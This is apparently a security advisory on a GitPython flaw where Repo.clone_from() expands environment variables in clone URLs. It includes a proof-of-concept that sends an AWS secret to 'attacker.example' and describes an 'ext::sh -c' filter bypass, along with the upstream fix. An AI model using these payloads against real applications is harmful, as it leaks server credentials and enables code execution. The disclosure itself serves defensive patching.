GitPython: Environment-Variable Exfiltration via Repo.clone_from() URL
GitPython expands shell environment variables inside attacker-supplied clone URLs before passing them to git, letting an untrusted URL silently leak server secrets like AWS keys or GitHub tokens over
The problem
Any application that calls Repo.clone_from() with a user-supplied URL is affected. Git.polish_url() unconditionally calls os.path.expandvars() on the URL on every non-Cygwin platform, substituting $NAME and ${NAME} tokens with live process environment variables.
The expanded URL, now containing the secret in plaintext, is handed directly to the git clone subprocess. Git issues a DNS lookup and HTTP request to the attacker-named host, transmitting the secret in the request path. The clone fails, but the secret has already left the server.
Proof of concept
A working proof-of-concept for this issue in gitpython, with the exact payload below.
import os
from git import Git, Repo
import tempfile
os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
# Layer 1: show expansion in polish_url directly
attacker_url = "https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git"
polished = Git.polish_url(attacker_url)
print(polished)
# => https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
# Layer 2: full clone path -- git receives the expanded URL
dest = tempfile.mkdtemp()
try:
Repo.clone_from(attacker_url, dest + "/out")
except Exception:
pass # clone fails, but git already sent the DNS/HTTP request with the secretThe root cause is CWE-526 / CWE-200: polish_url() was written to normalise local paths (Cygwin conversion, tilde expansion, backslash fixing) but was applied indiscriminately to remote URLs with no scheme check.
The unsafe-protocol filter in _clone() runs on the raw URL before polish_url() is called, so the expansion also creates a filter-bypass path: setting an env var to ext::sh -c '...' and submitting $VARNAME as the URL passes the raw check but executes a remote helper after expansion.
PR #2172 (commit 8ac5a30) fixed this by removing the os.path.expandvars() and os.path.expanduser() calls from polish_url() for remote URLs, preserving literal clone URLs exactly as supplied.
The fix
Upgrade to gitpython >= 3.1.52. The patch (PR #2172, commit 8ac5a30519b6f4af85398b9b9d7064ff4d452da2) removes os.path.expandvars() and os.path.expanduser() from Git.polish_url() for remote URLs. If you cannot upgrade immediately, sanitise clone URLs before passing them to Repo.clone_from() by rejecting any URL containing $ or % characters.
Related research
- high · 8.4GitPython Command Injection and Arbitrary File Overwrite via Unguarded Git Options
- highGitPython unsafe clone option gate bypass via joined short options
- high · 8.8GitPython: OS Command Injection via git long-option prefix abbreviation bypass
- high · 7.5CVE-2026-59884CVE-2026-59884: pyasn1 BER Decoder Denial of Service via Unbounded Long-Form Tag IDs